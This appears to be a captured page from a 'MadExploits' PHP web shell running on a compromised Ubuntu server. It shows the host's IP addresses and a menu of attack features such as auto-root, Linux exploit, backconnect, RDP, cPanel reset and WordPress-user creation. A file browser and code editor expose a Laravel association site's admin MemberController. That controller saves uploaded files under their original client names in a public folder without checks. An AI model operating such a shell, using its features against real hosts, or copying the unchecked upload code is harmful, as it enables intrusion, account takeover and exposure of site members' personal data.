Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.189
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
nepalphd /
app /
Http /
Controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutusController.php
4.59
KB
-rw-rw-r--
AdminController.php
3.14
KB
-rw-rw-r--
AlbumController.php
7.63
KB
-rw-rw-r--
CarousellController.php
4.41
KB
-rw-rw-r--
CommitteeController.php
9.26
KB
-rw-rw-r--
CommitteeTypeController.php
4.57
KB
-rw-rw-r--
ContactPersonController.php
5.13
KB
-rw-rw-r--
MasterCommitteeController.php
3.55
KB
-rw-rw-r--
MemberController.php
15.48
KB
-rw-rw-r--
MemberTypeController.php
3.14
KB
-rw-rw-r--
NewsController.php
4.57
KB
-rw-rw-r--
NoticeController.php
4.49
KB
-rw-rw-r--
SetupController.php
3.82
KB
-rw-rw-r--
VideoController.php
4
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MemberController.php
<?php namespace App\Http\Controllers\admin; use App\Mail\NotifyAdminMemberRequest; use App\Models\Member; use App\Models\MemberType; use File; use GrahamCampbell\ResultType\Success; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Http\Requests\MemberRequest; use Image; use Mail; use App\Mail\SendMail; use Endroid\QrCode\Builder\Builder; use Endroid\QrCode\Writer\PngWriter; use Illuminate\Support\Facades\Storage; use ZipStream\ZipStream; use ZipStream\Option\Archive as ArchiveOptions; use ZipStream\Option\File as FileOptions; class MemberController extends Controller { public function index() { try { $member = Member::with('member_types')->where('status', 1)->latest()->get(); return view('admin.member.index', compact('member')); } catch (\Exception $e) { //return $e; return redirect()->back()->with('error', "Something Went Wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { try { $member_types = MemberType::all(); if ($member_types->count() < 1) { return view('admin.member_type.create') ->with('error', "Please Add Member Types First"); } else { return view('admin.member.create', compact('member_types')); } } catch (\Exception $e) { // return $e; return redirect()->back()->with('error', "Please Check your input and try again."); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(MemberRequest $request) { try { try { if ($request->status == 0) { $validatedData = $request->validate([ 'g-recaptcha-response' => 'required', ]); $duplicate = Member::where('name', $request->name) //->where('email', $request->email) ->where('dob', $request->dob) ->exists(); if ($duplicate) { return redirect()->back()->withErrors(['duplicate' => 'A record with the same name, email, and DOB already exists.']); } } } catch (\Illuminate\Validation\ValidationException $e) { // dd($e->errors()); // Dump and die to see all validation error messages $notification = array( 'message' => 'Validation failed', 'alert-type' => 'error' ); return redirect() ->back() //route('members.index') ->with('error', 'Recaptcha validation failed.'); } $input['name'] = $request->name; $input['name_np'] = "1"; $input['name_prefix'] = $request->name_prefix; $input['full_address'] = $request->full_address; $input['phone'] = $request->phone; $input['email'] = $request->email; $input['since'] = $request->since; $input['till'] = $request->till; $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['member_types_id'] = $request->member_types_id; $input['dob'] = $request->dob; $input['phd_subject'] = $request->phd_subject; $input['phd_title'] = $request->phd_title; $input['completion_year'] = $request->completion_year; $input['current_occupation'] = $request->current_occupation; $input['institute_name'] = $request->institute_name; $input['institute_address'] = $request->institute_address; $input['office_contact_number'] = $request->office_contact_number; $input['skill_experiences'] = $request->skill_experiences; $input['certificate_file'] = $request->certificate_file; $input['message'] = $request->message; $input['status'] = $request->status; if ($image = $request->file('image')) { $destinationPath = 'uploads/'; $profileImage = date('YmdHis') . "." . $image->getClientOriginalExtension(); $image->move($destinationPath, $profileImage); $input['image'] = "$profileImage"; } if ($file = $request->file('certificate_file')) { $destinationPath = 'uploads/'; $profileImage = $file->getClientOriginalName(); $file->move($destinationPath, $profileImage); $input['certificate_file'] = "$profileImage"; } $member = member::create($input); if ($request->status == 0) { try { $details = [ 'name' => $input['name'], 'email' => $input['email'], 'id' => $member->id, 'message' => "Membership successfully applied in Nepal PHD Association. Your application will soon be checked and verified.", ]; Mail::to($input['email'])->send(new SendMail($details)); $email = config('mail.mailers.smtp.username'); // dd($email); // Check if the email address is not empty and send the email if (!empty($email)) { Mail::to($email)->send(new NotifyAdminMemberRequest($details)); } else { // echo "Email address not configured in .env file."; } } catch (\Exception $ex) { } $notification = array( 'message' => 'Membership successFully Applied', 'alert-type' => 'success' ); // session()->flash('toast', ['message' => 'Membership Applied successful!', 'type' => 'success']); return redirect() //->route('members.create') ->back() ->with($notification); } else { return redirect() ->route('members.index') //->back() ->with('success', 'Member added successfully.'); } } catch (\Exception $e) { // return $e; $notification = array( 'message' => 'Something went wrong', 'alert-type' => 'error' ); return redirect() ->back() //route('members.index') ->with($notification); } } /** * Display the specified resource. * * @param \App\Models\member $member * @return \Illuminate\Http\Response */ public function show(Member $member) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\member $member * @return \Illuminate\Http\Response */ public function edit(Member $member) { $member_types = MemberType::all(); return view('admin.member.edit', compact('member', 'member_types')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\member $member * @return \Illuminate\Http\Response */ public function update(Request $request, member $member) { try { // dd($request); $input['id'] = $request->id; $input['name'] = $request->name; $input['name_np'] = "1"; $input['name_prefix'] = $request->name_prefix; $input['full_address'] = $request->full_address; $input['phone'] = $request->phone; $input['email'] = $request->email; $input['since'] = $request->since; $input['till'] = $request->till; $input['description'] = $request->description; $input['description_np'] = $request->description_np; $input['member_types_id'] = $request->member_types_id; $input['dob'] = $request->dob; $input['phd_subject'] = $request->phd_subject; $input['phd_title'] = $request->phd_title; $input['completion_year'] = $request->completion_year; $input['current_occupation'] = $request->current_occupation; $input['institute_name'] = $request->institute_name; $input['institute_address'] = $request->institute_address; $input['office_contact_number'] = $request->office_contact_number; $input['skill_experiences'] = $request->skill_experiences; $input['certificate_file'] = $request->certificate_file; $input['message'] = $request->message; $input['status'] = $request->status; if ($file = $request->file('image')) { $destinationPath = 'uploads/'; $profileImage = $file->getClientOriginalName(); $file->move($destinationPath, $profileImage); $input['image'] = "$profileImage"; } else { unset($input['image']); } if ($file = $request->file('certificate_file')) { $destinationPath = 'uploads/'; $profileImage = $file->getClientOriginalName(); $file->move($destinationPath, $profileImage); $input['certificate_file'] = "$profileImage"; } else { unset($input['certificate_file']); } $member->update($input); $notification = array( 'message' => 'Membership successFully Applied', 'alert-type' => 'success' ); return redirect()->route('members.index') ->with('success','Member edited successfully.'); } catch (\Exception $e) { // return $e; return redirect()->back()->with('error', 'Something Went Wrong'); } } public function destroy(Member $member) { try { $member->delete(); return back()->with('success', "SuccessFully Deleted"); } catch (\Exception $e) { return redirect()->route('members.index')->with('error', "Something Went Wrong"); } } public function newApplication() { try { $member = Member::with('member_types')->where('status', 0)->latest()->get(); return view('admin.member.newApplication', compact('member')); } catch (\Exception $e) { //return $e; return redirect()->back()->with('error', "Something Went Wrong"); } } public function viewApplication($id) { try { $member = Member::with('member_types')->findOrFail($id); return view('admin.member.viewApplication', compact('member')); } catch (\Exception $e) { // return $e; return redirect()->back()->with('error', "Something Went Wrong"); } } public function approveApplication($id) { try { $member = Member::findOrFail($id); $member->status = 1; // Assuming 'status' is the field you want to update $member->save(); return redirect()->back()->with('success', "Member approved Successfully"); } catch (\Exception $e) { //return $e; return redirect()->back()->with('error', "Something Went Wrong"); } } public function generateQrCodeBulk() { try { $members = Member::where('status', 1)->get(); // Use get() to execute the query and return a collection $dirPath = storage_path('app/public/' . 'qrcodes'); // Create the directory if it doesn't exist if (!File::exists($dirPath)) { File::makeDirectory($dirPath, 0755, true); } $baseUrl = config('app.url'); $path = '/view/member/'; // Iterate over the members and generate QR codes foreach ($members as $index => $member) { $fullUrl = $baseUrl . $path . $member->id; $qrCode = Builder::create() ->writer(new PngWriter()) ->data($fullUrl) // The data to encode in the QR code ->size(300) ->margin(10) ->build(); $fileName = $member->name_prefix . '. ' . $member->name . '-qr.png'; $filePath = $dirPath . '/' . $fileName; // Save the QR code to the file $qrCode->saveToFile($filePath); } // Create a zip file $zipFileName = 'Member-QRCodes.zip'; $zipFilePath = storage_path('app/public/' . $zipFileName); $zip = new \ZipArchive; if ($zip->open($zipFilePath, \ZipArchive::CREATE) === TRUE) { // Add files to the zip file $files = File::files($dirPath); foreach ($files as $file) { $zip->addFile($file, basename($file)); } $zip->close(); } // Delete the directory after zipping it File::deleteDirectory($dirPath); // Return the zip file as a downloadable response return response()->download($zipFilePath)->deleteFileAfterSend(true); } catch (\Exception $e) { // return $e; return redirect()->back()->with('error', "Something Went Wrong"); } } public function generateQrCodeMember($id) { try { $baseUrl = config('app.url'); $path = '/view/member/'; $member = Member::findOrFail($id); $fullUrl = $baseUrl . $path . $member->id; $qrCode = Builder::create() ->writer(new PngWriter()) ->data($fullUrl) // The data to encode in the QR code ->size(300) ->margin(10) ->build(); // Define the file name and path $fileName = $member->name_prefix . '. ' . $member->name . '-qr.png'; $tempPath = storage_path('app/public/' . $fileName); // Save the QR code to the file $qrCode->saveToFile($tempPath); // Return the file as a downloadable response return response()->download($tempPath)->deleteFileAfterSend(true); } catch (\Exception $e) { //return $e; return redirect()->back()->with('error', "Something Went Wrong"); } } public function deleteMembershipIds(Request $request) { // Validate that 'membershipIds' is an array $request->validate([ 'membershipIds' => 'required|array', 'membershipIds.*' => 'exists:members,id', ]); // Retrieve the IDs from the request $membershipIds = $request->input('membershipIds'); // Perform delete operation Member::whereIn('id', $membershipIds)->delete(); // Return success response return response()->json([ 'message' => 'Selected members have been successfully deleted.', 'deletedIds' => $membershipIds, ]); } }
Close